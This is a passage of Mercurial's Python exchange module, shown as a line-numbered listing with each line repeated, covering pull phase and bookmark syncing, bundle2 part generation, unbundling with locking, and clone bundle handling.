1431 if pullop.heads is None and list(pullop.common) == [nullid]:
1431 if pullop.heads is None and list(pullop.common) == [nullid]:
1432 pullop.repo.ui.status(_("requesting all changes\n"))
1432 pullop.repo.ui.status(_("requesting all changes\n"))
1433 elif pullop.heads is None and pullop.remote.capable('changegroupsubset'):
1433 elif pullop.heads is None and pullop.remote.capable('changegroupsubset'):
1434 # issue1320, avoid a race if remote changed after discovery
1434 # issue1320, avoid a race if remote changed after discovery
1435 pullop.heads = pullop.rheads
1435 pullop.heads = pullop.rheads
1436
1436
1437 if pullop.remote.capable('getbundle'):
1437 if pullop.remote.capable('getbundle'):
1438 # TODO: get bundlecaps from remote
1438 # TODO: get bundlecaps from remote
1439 cg = pullop.remote.getbundle('pull', common=pullop.common,
1439 cg = pullop.remote.getbundle('pull', common=pullop.common,
1440 heads=pullop.heads or pullop.rheads)
1440 heads=pullop.heads or pullop.rheads)
1441 elif pullop.heads is None:
1441 elif pullop.heads is None:
1442 cg = pullop.remote.changegroup(pullop.fetch, 'pull')
1442 cg = pullop.remote.changegroup(pullop.fetch, 'pull')
1443 elif not pullop.remote.capable('changegroupsubset'):
1443 elif not pullop.remote.capable('changegroupsubset'):
1444 raise error.Abort(_("partial pull cannot be done because "
1444 raise error.Abort(_("partial pull cannot be done because "
1445 "other repository doesn't support "
1445 "other repository doesn't support "
1446 "changegroupsubset."))
1446 "changegroupsubset."))
1447 else:
1447 else:
1448 cg = pullop.remote.changegroupsubset(pullop.fetch, pullop.heads, 'pull')
1448 cg = pullop.remote.changegroupsubset(pullop.fetch, pullop.heads, 'pull')
1449 bundleop = bundle2.applybundle(pullop.repo, cg, tr, 'pull',
1449 bundleop = bundle2.applybundle(pullop.repo, cg, tr, 'pull',
1450 pullop.remote.url())
1450 pullop.remote.url())
1451 pullop.cgresult = bundle2.combinechangegroupresults(bundleop)
1451 pullop.cgresult = bundle2.combinechangegroupresults(bundleop)
1452
1452
1453 def _pullphase(pullop):
1453 def _pullphase(pullop):
1454 # Get remote phases data from remote
1454 # Get remote phases data from remote
1455 if 'phases' in pullop.stepsdone:
1455 if 'phases' in pullop.stepsdone:
1456 return
1456 return
1457 remotephases = pullop.remote.listkeys('phases')
1457 remotephases = pullop.remote.listkeys('phases')
1458 _pullapplyphases(pullop, remotephases)
1458 _pullapplyphases(pullop, remotephases)
1459
1459
1460 def _pullapplyphases(pullop, remotephases):
1460 def _pullapplyphases(pullop, remotephases):
1461 """apply phase movement from observed remote state"""
1461 """apply phase movement from observed remote state"""
1462 if 'phases' in pullop.stepsdone:
1462 if 'phases' in pullop.stepsdone:
1463 return
1463 return
1464 pullop.stepsdone.add('phases')
1464 pullop.stepsdone.add('phases')
1465 publishing = bool(remotephases.get('publishing', False))
1465 publishing = bool(remotephases.get('publishing', False))
1466 if remotephases and not publishing:
1466 if remotephases and not publishing:
1467 # remote is new and non-publishing
1467 # remote is new and non-publishing
1468 pheads, _dr = phases.analyzeremotephases(pullop.repo,
1468 pheads, _dr = phases.analyzeremotephases(pullop.repo,
1469 pullop.pulledsubset,
1469 pullop.pulledsubset,
1470 remotephases)
1470 remotephases)
1471 dheads = pullop.pulledsubset
1471 dheads = pullop.pulledsubset
1472 else:
1472 else:
1473 # Remote is old or publishing all common changesets
1473 # Remote is old or publishing all common changesets
1474 # should be seen as public
1474 # should be seen as public
1475 pheads = pullop.pulledsubset
1475 pheads = pullop.pulledsubset
1476 dheads = []
1476 dheads = []
1477 unfi = pullop.repo.unfiltered()
1477 unfi = pullop.repo.unfiltered()
1478 phase = unfi._phasecache.phase
1478 phase = unfi._phasecache.phase
1479 rev = unfi.changelog.nodemap.get
1479 rev = unfi.changelog.nodemap.get
1480 public = phases.public
1480 public = phases.public
1481 draft = phases.draft
1481 draft = phases.draft
1482
1482
1483 # exclude changesets already public locally and update the others
1483 # exclude changesets already public locally and update the others
1484 pheads = [pn for pn in pheads if phase(unfi, rev(pn)) > public]
1484 pheads = [pn for pn in pheads if phase(unfi, rev(pn)) > public]
1485 if pheads:
1485 if pheads:
1486 tr = pullop.gettransaction()
1486 tr = pullop.gettransaction()
1487 phases.advanceboundary(pullop.repo, tr, public, pheads)
1487 phases.advanceboundary(pullop.repo, tr, public, pheads)
1488
1488
1489 # exclude changesets already draft locally and update the others
1489 # exclude changesets already draft locally and update the others
1490 dheads = [pn for pn in dheads if phase(unfi, rev(pn)) > draft]
1490 dheads = [pn for pn in dheads if phase(unfi, rev(pn)) > draft]
1491 if dheads:
1491 if dheads:
1492 tr = pullop.gettransaction()
1492 tr = pullop.gettransaction()
1493 phases.advanceboundary(pullop.repo, tr, draft, dheads)
1493 phases.advanceboundary(pullop.repo, tr, draft, dheads)
1494
1494
1495 def _pullbookmarks(pullop):
1495 def _pullbookmarks(pullop):
1496 """process the remote bookmark information to update the local one"""
1496 """process the remote bookmark information to update the local one"""
1497 if 'bookmarks' in pullop.stepsdone:
1497 if 'bookmarks' in pullop.stepsdone:
1498 return
1498 return
1499 pullop.stepsdone.add('bookmarks')
1499 pullop.stepsdone.add('bookmarks')
1500 repo = pullop.repo
1500 repo = pullop.repo
1501 remotebookmarks = pullop.remotebookmarks
1501 remotebookmarks = pullop.remotebookmarks
1502 remotebookmarks = bookmod.unhexlifybookmarks(remotebookmarks)
1502 remotebookmarks = bookmod.unhexlifybookmarks(remotebookmarks)
1503 bookmod.updatefromremote(repo.ui, repo, remotebookmarks,
1503 bookmod.updatefromremote(repo.ui, repo, remotebookmarks,
1504 pullop.remote.url(),
1504 pullop.remote.url(),
1505 pullop.gettransaction,
1505 pullop.gettransaction,
1506 explicit=pullop.explicitbookmarks)
1506 explicit=pullop.explicitbookmarks)
1507
1507
1508 def _pullobsolete(pullop):
1508 def _pullobsolete(pullop):
1509 """utility function to pull obsolete markers from a remote
1509 """utility function to pull obsolete markers from a remote
1510
1510
1511 The `gettransaction` is function that return the pull transaction, creating
1511 The `gettransaction` is function that return the pull transaction, creating
1512 one if necessary. We return the transaction to inform the calling code that
1512 one if necessary. We return the transaction to inform the calling code that
1513 a new transaction have been created (when applicable).
1513 a new transaction have been created (when applicable).
1514
1514
1515 Exists mostly to allow overriding for experimentation purpose"""
1515 Exists mostly to allow overriding for experimentation purpose"""
1516 if 'obsmarkers' in pullop.stepsdone:
1516 if 'obsmarkers' in pullop.stepsdone:
1517 return
1517 return
1518 pullop.stepsdone.add('obsmarkers')
1518 pullop.stepsdone.add('obsmarkers')
1519 tr = None
1519 tr = None
1520 if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
1520 if obsolete.isenabled(pullop.repo, obsolete.exchangeopt):
1521 pullop.repo.ui.debug('fetching remote obsolete markers\n')
1521 pullop.repo.ui.debug('fetching remote obsolete markers\n')
1522 remoteobs = pullop.remote.listkeys('obsolete')
1522 remoteobs = pullop.remote.listkeys('obsolete')
1523 if 'dump0' in remoteobs:
1523 if 'dump0' in remoteobs:
1524 tr = pullop.gettransaction()
1524 tr = pullop.gettransaction()
1525 markers = []
1525 markers = []
1526 for key in sorted(remoteobs, reverse=True):
1526 for key in sorted(remoteobs, reverse=True):
1527 if key.startswith('dump'):
1527 if key.startswith('dump'):
1528 data = util.b85decode(remoteobs[key])
1528 data = util.b85decode(remoteobs[key])
1529 version, newmarks = obsolete._readmarkers(data)
1529 version, newmarks = obsolete._readmarkers(data)
1530 markers += newmarks
1530 markers += newmarks
1531 if markers:
1531 if markers:
1532 pullop.repo.obsstore.add(tr, markers)
1532 pullop.repo.obsstore.add(tr, markers)
1533 pullop.repo.invalidatevolatilesets()
1533 pullop.repo.invalidatevolatilesets()
1534 return tr
1534 return tr
1535
1535
1536 def caps20to10(repo):
1536 def caps20to10(repo):
1537 """return a set with appropriate options to use bundle20 during getbundle"""
1537 """return a set with appropriate options to use bundle20 during getbundle"""
1538 caps = {'HG20'}
1538 caps = {'HG20'}
1539 capsblob = bundle2.encodecaps(bundle2.getrepocaps(repo))
1539 capsblob = bundle2.encodecaps(bundle2.getrepocaps(repo))
1540 caps.add('bundle2=' + urlreq.quote(capsblob))
1540 caps.add('bundle2=' + urlreq.quote(capsblob))
1541 return caps
1541 return caps
1542
1542
1543 # List of names of steps to perform for a bundle2 for getbundle, order matters.
1543 # List of names of steps to perform for a bundle2 for getbundle, order matters.
1544 getbundle2partsorder = []
1544 getbundle2partsorder = []
1545
1545
1546 # Mapping between step name and function
1546 # Mapping between step name and function
1547 #
1547 #
1548 # This exists to help extensions wrap steps if necessary
1548 # This exists to help extensions wrap steps if necessary
1549 getbundle2partsmapping = {}
1549 getbundle2partsmapping = {}
1550
1550
1551 def getbundle2partsgenerator(stepname, idx=None):
1551 def getbundle2partsgenerator(stepname, idx=None):
1552 """decorator for function generating bundle2 part for getbundle
1552 """decorator for function generating bundle2 part for getbundle
1553
1553
1554 The function is added to the step -> function mapping and appended to the
1554 The function is added to the step -> function mapping and appended to the
1555 list of steps. Beware that decorated functions will be added in order
1555 list of steps. Beware that decorated functions will be added in order
1556 (this may matter).
1556 (this may matter).
1557
1557
1558 You can only use this decorator for new steps, if you want to wrap a step
1558 You can only use this decorator for new steps, if you want to wrap a step
1559 from an extension, attack the getbundle2partsmapping dictionary directly."""
1559 from an extension, attack the getbundle2partsmapping dictionary directly."""
1560 def dec(func):
1560 def dec(func):
1561 assert stepname not in getbundle2partsmapping
1561 assert stepname not in getbundle2partsmapping
1562 getbundle2partsmapping[stepname] = func
1562 getbundle2partsmapping[stepname] = func
1563 if idx is None:
1563 if idx is None:
1564 getbundle2partsorder.append(stepname)
1564 getbundle2partsorder.append(stepname)
1565 else:
1565 else:
1566 getbundle2partsorder.insert(idx, stepname)
1566 getbundle2partsorder.insert(idx, stepname)
1567 return func
1567 return func
1568 return dec
1568 return dec
1569
1569
1570 def bundle2requested(bundlecaps):
1570 def bundle2requested(bundlecaps):
1571 if bundlecaps is not None:
1571 if bundlecaps is not None:
1572 return any(cap.startswith('HG2') for cap in bundlecaps)
1572 return any(cap.startswith('HG2') for cap in bundlecaps)
1573 return False
1573 return False
1574
1574
1575 def getbundlechunks(repo, source, heads=None, common=None, bundlecaps=None,
1575 def getbundlechunks(repo, source, heads=None, common=None, bundlecaps=None,
1576 **kwargs):
1576 **kwargs):
1577 """Return chunks constituting a bundle's raw data.
1577 """Return chunks constituting a bundle's raw data.
1578
1578
1579 Could be a bundle HG10 or a bundle HG20 depending on bundlecaps
1579 Could be a bundle HG10 or a bundle HG20 depending on bundlecaps
1580 passed.
1580 passed.
1581
1581
1582 Returns an iterator over raw chunks (of varying sizes).
1582 Returns an iterator over raw chunks (of varying sizes).
1583 """
1583 """
1584 kwargs = pycompat.byteskwargs(kwargs)
1584 kwargs = pycompat.byteskwargs(kwargs)
1585 usebundle2 = bundle2requested(bundlecaps)
1585 usebundle2 = bundle2requested(bundlecaps)
1586 # bundle10 case
1586 # bundle10 case
1587 if not usebundle2:
1587 if not usebundle2:
1588 if bundlecaps and not kwargs.get('cg', True):
1588 if bundlecaps and not kwargs.get('cg', True):
1589 raise ValueError(_('request for bundle10 must include changegroup'))
1589 raise ValueError(_('request for bundle10 must include changegroup'))
1590
1590
1591 if kwargs:
1591 if kwargs:
1592 raise ValueError(_('unsupported getbundle arguments: %s')
1592 raise ValueError(_('unsupported getbundle arguments: %s')
1593 % ', '.join(sorted(kwargs.keys())))
1593 % ', '.join(sorted(kwargs.keys())))
1594 outgoing = _computeoutgoing(repo, heads, common)
1594 outgoing = _computeoutgoing(repo, heads, common)
1595 bundler = changegroup.getbundler('01', repo, bundlecaps)
1595 bundler = changegroup.getbundler('01', repo, bundlecaps)
1596 return changegroup.getsubsetraw(repo, outgoing, bundler, source)
1596 return changegroup.getsubsetraw(repo, outgoing, bundler, source)
1597
1597
1598 # bundle20 case
1598 # bundle20 case
1599 b2caps = {}
1599 b2caps = {}
1600 for bcaps in bundlecaps:
1600 for bcaps in bundlecaps:
1601 if bcaps.startswith('bundle2='):
1601 if bcaps.startswith('bundle2='):
1602 blob = urlreq.unquote(bcaps[len('bundle2='):])
1602 blob = urlreq.unquote(bcaps[len('bundle2='):])
1603 b2caps.update(bundle2.decodecaps(blob))
1603 b2caps.update(bundle2.decodecaps(blob))
1604 bundler = bundle2.bundle20(repo.ui, b2caps)
1604 bundler = bundle2.bundle20(repo.ui, b2caps)
1605
1605
1606 kwargs['heads'] = heads
1606 kwargs['heads'] = heads
1607 kwargs['common'] = common
1607 kwargs['common'] = common
1608
1608
1609 for name in getbundle2partsorder:
1609 for name in getbundle2partsorder:
1610 func = getbundle2partsmapping[name]
1610 func = getbundle2partsmapping[name]
1611 func(bundler, repo, source, bundlecaps=bundlecaps, b2caps=b2caps,
1611 func(bundler, repo, source, bundlecaps=bundlecaps, b2caps=b2caps,
1612 **pycompat.strkwargs(kwargs))
1612 **pycompat.strkwargs(kwargs))
1613
1613
1614 return bundler.getchunks()
1614 return bundler.getchunks()
1615
1615
1616 @getbundle2partsgenerator('changegroup')
1616 @getbundle2partsgenerator('changegroup')
1617 def _getbundlechangegrouppart(bundler, repo, source, bundlecaps=None,
1617 def _getbundlechangegrouppart(bundler, repo, source, bundlecaps=None,
1618 b2caps=None, heads=None, common=None, **kwargs):
1618 b2caps=None, heads=None, common=None, **kwargs):
1619 """add a changegroup part to the requested bundle"""
1619 """add a changegroup part to the requested bundle"""
1620 cg = None
1620 cg = None
1621 if kwargs.get('cg', True):
1621 if kwargs.get('cg', True):
1622 # build changegroup bundle here.
1622 # build changegroup bundle here.
1623 version = '01'
1623 version = '01'
1624 cgversions = b2caps.get('changegroup')
1624 cgversions = b2caps.get('changegroup')
1625 if cgversions: # 3.1 and 3.2 ship with an empty value
1625 if cgversions: # 3.1 and 3.2 ship with an empty value
1626 cgversions = [v for v in cgversions
1626 cgversions = [v for v in cgversions
1627 if v in changegroup.supportedoutgoingversions(repo)]
1627 if v in changegroup.supportedoutgoingversions(repo)]
1628 if not cgversions:
1628 if not cgversions:
1629 raise ValueError(_('no common changegroup version'))
1629 raise ValueError(_('no common changegroup version'))
1630 version = max(cgversions)
1630 version = max(cgversions)
1631 outgoing = _computeoutgoing(repo, heads, common)
1631 outgoing = _computeoutgoing(repo, heads, common)
1632 cg = changegroup.getlocalchangegroupraw(repo, source, outgoing,
1632 cg = changegroup.getlocalchangegroupraw(repo, source, outgoing,
1633 bundlecaps=bundlecaps,
1633 bundlecaps=bundlecaps,
1634 version=version)
1634 version=version)
1635
1635
1636 if cg:
1636 if cg:
1637 part = bundler.newpart('changegroup', data=cg)
1637 part = bundler.newpart('changegroup', data=cg)
1638 if cgversions:
1638 if cgversions:
1639 part.addparam('version', version)
1639 part.addparam('version', version)
1640 part.addparam('nbchanges', str(len(outgoing.missing)), mandatory=False)
1640 part.addparam('nbchanges', str(len(outgoing.missing)), mandatory=False)
1641 if 'treemanifest' in repo.requirements:
1641 if 'treemanifest' in repo.requirements:
1642 part.addparam('treemanifest', '1')
1642 part.addparam('treemanifest', '1')
1643
1643
1644 @getbundle2partsgenerator('listkeys')
1644 @getbundle2partsgenerator('listkeys')
1645 def _getbundlelistkeysparts(bundler, repo, source, bundlecaps=None,
1645 def _getbundlelistkeysparts(bundler, repo, source, bundlecaps=None,
1646 b2caps=None, **kwargs):
1646 b2caps=None, **kwargs):
1647 """add parts containing listkeys namespaces to the requested bundle"""
1647 """add parts containing listkeys namespaces to the requested bundle"""
1648 listkeys = kwargs.get('listkeys', ())
1648 listkeys = kwargs.get('listkeys', ())
1649 for namespace in listkeys:
1649 for namespace in listkeys:
1650 part = bundler.newpart('listkeys')
1650 part = bundler.newpart('listkeys')
1651 part.addparam('namespace', namespace)
1651 part.addparam('namespace', namespace)
1652 keys = repo.listkeys(namespace).items()
1652 keys = repo.listkeys(namespace).items()
1653 part.data = pushkey.encodekeys(keys)
1653 part.data = pushkey.encodekeys(keys)
1654
1654
1655 @getbundle2partsgenerator('obsmarkers')
1655 @getbundle2partsgenerator('obsmarkers')
1656 def _getbundleobsmarkerpart(bundler, repo, source, bundlecaps=None,
1656 def _getbundleobsmarkerpart(bundler, repo, source, bundlecaps=None,
1657 b2caps=None, heads=None, **kwargs):
1657 b2caps=None, heads=None, **kwargs):
1658 """add an obsolescence markers part to the requested bundle"""
1658 """add an obsolescence markers part to the requested bundle"""
1659 if kwargs.get('obsmarkers', False):
1659 if kwargs.get('obsmarkers', False):
1660 if heads is None:
1660 if heads is None:
1661 heads = repo.heads()
1661 heads = repo.heads()
1662 subset = [c.node() for c in repo.set('::%ln', heads)]
1662 subset = [c.node() for c in repo.set('::%ln', heads)]
1663 markers = repo.obsstore.relevantmarkers(subset)
1663 markers = repo.obsstore.relevantmarkers(subset)
1664 markers = sorted(markers)
1664 markers = sorted(markers)
1665 bundle2.buildobsmarkerspart(bundler, markers)
1665 bundle2.buildobsmarkerspart(bundler, markers)
1666
1666
1667 @getbundle2partsgenerator('hgtagsfnodes')
1667 @getbundle2partsgenerator('hgtagsfnodes')
1668 def _getbundletagsfnodes(bundler, repo, source, bundlecaps=None,
1668 def _getbundletagsfnodes(bundler, repo, source, bundlecaps=None,
1669 b2caps=None, heads=None, common=None,
1669 b2caps=None, heads=None, common=None,
1670 **kwargs):
1670 **kwargs):
1671 """Transfer the .hgtags filenodes mapping.
1671 """Transfer the .hgtags filenodes mapping.
1672
1672
1673 Only values for heads in this bundle will be transferred.
1673 Only values for heads in this bundle will be transferred.
1674
1674
1675 The part data consists of pairs of 20 byte changeset node and .hgtags
1675 The part data consists of pairs of 20 byte changeset node and .hgtags
1676 filenodes raw values.
1676 filenodes raw values.
1677 """
1677 """
1678 # Don't send unless:
1678 # Don't send unless:
1679 # - changeset are being exchanged,
1679 # - changeset are being exchanged,
1680 # - the client supports it.
1680 # - the client supports it.
1681 if not (kwargs.get('cg', True) and 'hgtagsfnodes' in b2caps):
1681 if not (kwargs.get('cg', True) and 'hgtagsfnodes' in b2caps):
1682 return
1682 return
1683
1683
1684 outgoing = _computeoutgoing(repo, heads, common)
1684 outgoing = _computeoutgoing(repo, heads, common)
1685 bundle2.addparttagsfnodescache(repo, bundler, outgoing)
1685 bundle2.addparttagsfnodescache(repo, bundler, outgoing)
1686
1686
1687 def _getbookmarks(repo, **kwargs):
1687 def _getbookmarks(repo, **kwargs):
1688 """Returns bookmark to node mapping.
1688 """Returns bookmark to node mapping.
1689
1689
1690 This function is primarily used to generate `bookmarks` bundle2 part.
1690 This function is primarily used to generate `bookmarks` bundle2 part.
1691 It is a separate function in order to make it easy to wrap it
1691 It is a separate function in order to make it easy to wrap it
1692 in extensions. Passing `kwargs` to the function makes it easy to
1692 in extensions. Passing `kwargs` to the function makes it easy to
1693 add new parameters in extensions.
1693 add new parameters in extensions.
1694 """
1694 """
1695
1695
1696 return dict(bookmod.listbinbookmarks(repo))
1696 return dict(bookmod.listbinbookmarks(repo))
1697
1697
1698 def check_heads(repo, their_heads, context):
1698 def check_heads(repo, their_heads, context):
1699 """check if the heads of a repo have been modified
1699 """check if the heads of a repo have been modified
1700
1700
1701 Used by peer for unbundling.
1701 Used by peer for unbundling.
1702 """
1702 """
1703 heads = repo.heads()
1703 heads = repo.heads()
1704 heads_hash = hashlib.sha1(''.join(sorted(heads))).digest()
1704 heads_hash = hashlib.sha1(''.join(sorted(heads))).digest()
1705 if not (their_heads == ['force'] or their_heads == heads or
1705 if not (their_heads == ['force'] or their_heads == heads or
1706 their_heads == ['hashed', heads_hash]):
1706 their_heads == ['hashed', heads_hash]):
1707 # someone else committed/pushed/unbundled while we
1707 # someone else committed/pushed/unbundled while we
1708 # were transferring data
1708 # were transferring data
1709 raise error.PushRaced('repository changed while %s - '
1709 raise error.PushRaced('repository changed while %s - '
1710 'please try again' % context)
1710 'please try again' % context)
1711
1711
1712 def unbundle(repo, cg, heads, source, url):
1712 def unbundle(repo, cg, heads, source, url):
1713 """Apply a bundle to a repo.
1713 """Apply a bundle to a repo.
1714
1714
1715 this function makes sure the repo is locked during the application and have
1715 this function makes sure the repo is locked during the application and have
1716 mechanism to check that no push race occurred between the creation of the
1716 mechanism to check that no push race occurred between the creation of the
1717 bundle and its application.
1717 bundle and its application.
1718
1718
1719 If the push was raced as PushRaced exception is raised."""
1719 If the push was raced as PushRaced exception is raised."""
1720 r = 0
1720 r = 0
1721 # need a transaction when processing a bundle2 stream
1721 # need a transaction when processing a bundle2 stream
1722 # [wlock, lock, tr] - needs to be an array so nested functions can modify it
1722 # [wlock, lock, tr] - needs to be an array so nested functions can modify it
1723 lockandtr = [None, None, None]
1723 lockandtr = [None, None, None]
1724 recordout = None
1724 recordout = None
1725 # quick fix for output mismatch with bundle2 in 3.4
1725 # quick fix for output mismatch with bundle2 in 3.4
1726 captureoutput = repo.ui.configbool('experimental', 'bundle2-output-capture')
1726 captureoutput = repo.ui.configbool('experimental', 'bundle2-output-capture')
1727 if url.startswith('remote:http:') or url.startswith('remote:https:'):
1727 if url.startswith('remote:http:') or url.startswith('remote:https:'):
1728 captureoutput = True
1728 captureoutput = True
1729 try:
1729 try:
1730 # note: outside bundle1, 'heads' is expected to be empty and this
1730 # note: outside bundle1, 'heads' is expected to be empty and this
1731 # 'check_heads' call wil be a no-op
1731 # 'check_heads' call wil be a no-op
1732 check_heads(repo, heads, 'uploading changes')
1732 check_heads(repo, heads, 'uploading changes')
1733 # push can proceed
1733 # push can proceed
1734 if not isinstance(cg, bundle2.unbundle20):
1734 if not isinstance(cg, bundle2.unbundle20):
1735 # legacy case: bundle1 (changegroup 01)
1735 # legacy case: bundle1 (changegroup 01)
1736 txnname = "\n".join([source, util.hidepassword(url)])
1736 txnname = "\n".join([source, util.hidepassword(url)])
1737 with repo.lock(), repo.transaction(txnname) as tr:
1737 with repo.lock(), repo.transaction(txnname) as tr:
1738 op = bundle2.applybundle(repo, cg, tr, source, url)
1738 op = bundle2.applybundle(repo, cg, tr, source, url)
1739 r = bundle2.combinechangegroupresults(op)
1739 r = bundle2.combinechangegroupresults(op)
1740 else:
1740 else:
1741 r = None
1741 r = None
1742 try:
1742 try:
1743 def gettransaction():
1743 def gettransaction():
1744 if not lockandtr[2]:
1744 if not lockandtr[2]:
1745 lockandtr[0] = repo.wlock()
1745 lockandtr[0] = repo.wlock()
1746 lockandtr[1] = repo.lock()
1746 lockandtr[1] = repo.lock()
1747 lockandtr[2] = repo.transaction(source)
1747 lockandtr[2] = repo.transaction(source)
1748 lockandtr[2].hookargs['source'] = source
1748 lockandtr[2].hookargs['source'] = source
1749 lockandtr[2].hookargs['url'] = url
1749 lockandtr[2].hookargs['url'] = url
1750 lockandtr[2].hookargs['bundle2'] = '1'
1750 lockandtr[2].hookargs['bundle2'] = '1'
1751 return lockandtr[2]
1751 return lockandtr[2]
1752
1752
1753 # Do greedy locking by default until we're satisfied with lazy
1753 # Do greedy locking by default until we're satisfied with lazy
1754 # locking.
1754 # locking.
1755 if not repo.ui.configbool('experimental', 'bundle2lazylocking'):
1755 if not repo.ui.configbool('experimental', 'bundle2lazylocking'):
1756 gettransaction()
1756 gettransaction()
1757
1757
1758 op = bundle2.bundleoperation(repo, gettransaction,
1758 op = bundle2.bundleoperation(repo, gettransaction,
1759 captureoutput=captureoutput)
1759 captureoutput=captureoutput)
1760 try:
1760 try:
1761 op = bundle2.processbundle(repo, cg, op=op)
1761 op = bundle2.processbundle(repo, cg, op=op)
1762 finally:
1762 finally:
1763 r = op.reply
1763 r = op.reply
1764 if captureoutput and r is not None:
1764 if captureoutput and r is not None:
1765 repo.ui.pushbuffer(error=True, subproc=True)
1765 repo.ui.pushbuffer(error=True, subproc=True)
1766 def recordout(output):
1766 def recordout(output):
1767 r.newpart('output', data=output, mandatory=False)
1767 r.newpart('output', data=output, mandatory=False)
1768 if lockandtr[2] is not None:
1768 if lockandtr[2] is not None:
1769 lockandtr[2].close()
1769 lockandtr[2].close()
1770 except BaseException as exc:
1770 except BaseException as exc:
1771 exc.duringunbundle2 = True
1771 exc.duringunbundle2 = True
1772 if captureoutput and r is not None:
1772 if captureoutput and r is not None:
1773 parts = exc._bundle2salvagedoutput = r.salvageoutput()
1773 parts = exc._bundle2salvagedoutput = r.salvageoutput()
1774 def recordout(output):
1774 def recordout(output):
1775 part = bundle2.bundlepart('output', data=output,
1775 part = bundle2.bundlepart('output', data=output,
1776 mandatory=False)
1776 mandatory=False)
1777 parts.append(part)
1777 parts.append(part)
1778 raise
1778 raise
1779 finally:
1779 finally:
1780 lockmod.release(lockandtr[2], lockandtr[1], lockandtr[0])
1780 lockmod.release(lockandtr[2], lockandtr[1], lockandtr[0])
1781 if recordout is not None:
1781 if recordout is not None:
1782 recordout(repo.ui.popbuffer())
1782 recordout(repo.ui.popbuffer())
1783 return r
1783 return r
1784
1784
1785 def _maybeapplyclonebundle(pullop):
1785 def _maybeapplyclonebundle(pullop):
1786 """Apply a clone bundle from a remote, if possible."""
1786 """Apply a clone bundle from a remote, if possible."""
1787
1787
1788 repo = pullop.repo
1788 repo = pullop.repo
1789 remote = pullop.remote
1789 remote = pullop.remote
1790
1790
1791 if not repo.ui.configbool('ui', 'clonebundles'):
1791 if not repo.ui.configbool('ui', 'clonebundles'):
1792 return
1792 return
1793
1793
1794 # Only run if local repo is empty.
1794 # Only run if local repo is empty.
1795 if len(repo):
1795 if len(repo):
1796 return
1796 return
1797
1797
1798 if pullop.heads:
1798 if pullop.heads:
1799 return
1799 return
1800
1800
1801 if not remote.capable('clonebundles'):
1801 if not remote.capable('clonebundles'):
1802 return
1802 return
1803
1803
1804 res = remote._call('clonebundles')
1804 res = remote._call('clonebundles')
1805
1805
1806 # If we call the wire protocol command, that's good enough to record the
1806 # If we call the wire protocol command, that's good enough to record the
1807 # attempt.
1807 # attempt.
1808 pullop.clonebundleattempted = True
1808 pullop.clonebundleattempted = True
1809
1809
1810 entries = parseclonebundlesmanifest(repo, res)
1810 entries = parseclonebundlesmanifest(repo, res)
1811 if not entries:
1811 if not entries:
1812 repo.ui.note(_('no clone bundles available on remote; '
1812 repo.ui.note(_('no clone bundles available on remote; '
1813 'falling back to regular clone\n'))
1813 'falling back to regular clone\n'))
1814 return
1814 return
1815
1815
1816 entries = filterclonebundleentries(repo, entries)
1816 entries = filterclonebundleentries(repo, entries)
1817 if not entries:
1817 if not entries:
1818 # There is a thundering herd concern here. However, if a server
1818 # There is a thundering herd concern here. However, if a server
1819 # operator doesn't advertise bundles appropriate for its clients,
1819 # operator doesn't advertise bundles appropriate for its clients,
1820 # they deserve what's coming. Furthermore, from a client's
1820 # they deserve what's coming. Furthermore, from a client's
1821 # perspective, no automatic fallback would mean not being able to
1821 # perspective, no automatic fallback would mean not being able to
1822 # clone!
1822 # clone!
1823 repo.ui.warn(_('no compatible clone bundles available on server; '
1823 repo.ui.warn(_('no compatible clone bundles available on server; '
1824 'falling back to regular clone\n'))
1824 'falling back to regular clone\n'))
1825 repo.ui.warn(_('(you may want to report this to the server '
1825 repo.ui.warn(_('(you may want to report this to the server '
1826 'operator)\n'))
1826 'operator)\n'))
1827 return
1827 return
1828
1828
1829 entries = sortclonebundleentries(repo.ui, entries)
1829 entries = sortclonebundleentries(repo.ui, entries)
1830
1830
1831 url = entries[0]['URL']
1831 url = entries[0]['URL']
1832 repo.ui.status(_('applying clone bundle from %s\n') % url)
1832 repo.ui.status(_('applying clone bundle from %s\n') % url)
1833 if trypullbundlefromurl(repo.ui, repo, url):
1833 if trypullbundlefromurl(repo.ui, repo, url):
1834 repo.ui.status(_('finished applying clone bundle\n'))
1834 repo.ui.status(_('finished applying clone bundle\n'))
1835 # Bundle failed.
1835 # Bundle failed.
1836 #
1836 #
1837 # We abort by default to avoid the thundering herd of
1837 # We abort by default to avoid the thundering herd of
1838 # clients flooding a server that was expecting expensive
1838 # clients flooding a server that was expecting expensive
1839 # clone load to be offloaded.
1839 # clone load to be offloaded.
1840 elif repo.ui.configbool('ui', 'clonebundlefallback'):
1840 elif repo.ui.configbool('ui', 'clonebundlefallback'):
1841 repo.ui.warn(_('falling back to normal clone\n'))
1841 repo.ui.warn(_('falling back to normal clone\n'))
1842 else:
1842 else:
1843 raise error.Abort(_('error applying bundle'),
1843 raise error.Abort(_('error applying bundle'),
1844 hint=_('if this error persists, consider contacting '
1844 hint=_('if this error persists, consider contacting '
1845 'the server operator or disable clone '
1845 'the server operator or disable clone '
1846 'bundles via '
1846 'bundles via '
1847 '"--config ui.clonebundles=false"'))
1847 '"--config ui.clonebundles=false"'))
1848
1848
1849 def parseclonebundlesmanifest(repo, s):
1849 def parseclonebundlesmanifest(repo, s):
1850 """Parses the raw text of a clone bundles manifest.
1850 """Parses the raw text of a clone bundles manifest.
1851
1851
1852 Returns a list of dicts. The dicts have a ``URL`` key corresponding
1852 Returns a list of dicts. The dicts have a ``URL`` key corresponding
1853 to the URL and other keys are the attributes for the entry.
1853 to the URL and other keys are the attributes for the entry.
1854 """
1854 """
1855 m = []
1855 m = []
1856 for line in s.splitlines():
1856 for line in s.splitlines():
1857 fields = line.split()
1857 fields = line.split()
1858 if not fields:
1858 if not fields:
1859 continue
1859 continue
1860 attrs = {'URL': fields[0]}
1860 attrs = {'URL': fields[0]}
1861 for rawattr in fields[1:]:
1861 for rawattr in fields[1:]:
1862 key, value = rawattr.split('=', 1)
1862 key, value = rawattr.split('=', 1)
1863 key = urlreq.unquote(key)
1863 key = urlreq.unquote(key)
1864 value = urlreq.unquote(value)
1864 value = urlreq.unquote(value)
1865 attrs[key] = value
1865 attrs[key] = value
1866
1866
1867 # Parse BUNDLESPEC into components. This makes client-side
1867 # Parse BUNDLESPEC into components. This makes client-side
1868 # preferences easier to specify since you can prefer a single
1868 # preferences easier to specify since you can prefer a single
1869 # component of the BUNDLESPEC.
1869 # component of the BUNDLESPEC.
1870 if key == 'BUNDLESPEC':
